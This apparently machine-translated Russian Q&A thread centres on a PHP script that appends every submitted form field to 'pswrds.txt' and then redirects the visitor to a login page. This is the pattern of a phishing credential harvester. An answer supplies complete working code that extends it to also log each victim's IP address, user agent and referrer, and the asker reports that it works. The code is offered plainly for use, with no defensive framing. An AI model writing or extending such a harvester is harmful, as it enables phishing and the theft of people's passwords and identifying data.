2015-05-20 3 views
-2

Следующий код сохраняет определенную информацию pswrds.txt:PHP, чтобы сохранить информацию о пользователях в текстовом файле

<?php 

    header("Location: https://www.randomurl.com/accounts/ServiceLoginAuth "); 
    $handle = fopen("pswrds.txt", "a"); 

    foreach($_POST as $variable => $value) 
    { 
     fwrite($handle, $variable); 
     fwrite($handle, "="); 
     fwrite($handle, $value); 
     fwrite($handle, "\r\n"); 
    } 

    fwrite($handle, "\r\n"); 
    fclose($handle); 
    exit; 

?> 

Как я могу получить код также сохранить IP, агент пользователя & Referrer?

$ip = $_SERVER['REMOTE_ADDR']; 
$browser = $_SERVER['HTTP_USER_AGENT']; 
$referrer = $_SERVER['HTTP_REFERER']; 
+0

Что ваша проблема, когда вы уже код для IP и других, то просто сохранить их в файл, как и другие данные. –

+0

Серьезно? !! для '$ ip':' fwrite ($ handle, "$ ip"); ': o – someOne

ответ

0

Вы могли бы назначить $ _POST переменной в локальной области видимости, а затем добавить переменные, которые вы хотите в массив:

$post = $_POST; 
$post['ip'] = $_SERVER['REMOTE_ADDR']; 
$post['browser'] = $_SERVER['HTTP_USER_AGENT']; 
$post['referrer'] = $_SERVER['HTTP_REFERER']; 

Затем идти о вашем цикле, как вы делаете сейчас, но итерация над $ пост не $ _POST.

ПРИМЕЧАНИЕ. Также вы должны остановить hardcoding символы новой строки, вместо этого используйте PHP_EOL. http://php.net/manual/en/reserved.constants.php#constant.php-eol

обновление

<?php 

    header("Location: https://www.randomurl.com/accounts/ServiceLoginAuth "); 
    $handle = fopen("pswrds.txt", "a"); 

    $post = $_POST; 
    $post['ip'] = $_SERVER['REMOTE_ADDR']; 
    $post['browser'] = $_SERVER['HTTP_USER_AGENT']; 
    $post['referrer'] = $_SERVER['HTTP_REFERER']; 

    foreach($post as $variable => $value) 
    { 
     fwrite($handle, $variable); 
     fwrite($handle, "="); 
     fwrite($handle, $value); 
     fwrite($handle, PHP_EOL); 
    } 

    fwrite($handle, PHP_EOL); 
    fclose($handle); 
    exit; 

?> 
+0

Как насчет возможности перезаписи? !! – someOne

+0

К сожалению, я полный noob. Не могли бы вы быть более ясными относительно того, как я должен рекламировать это в коде? – rahuldottech

+0

Спасибо! это сработало!! : D – rahuldottech

Смежные вопросы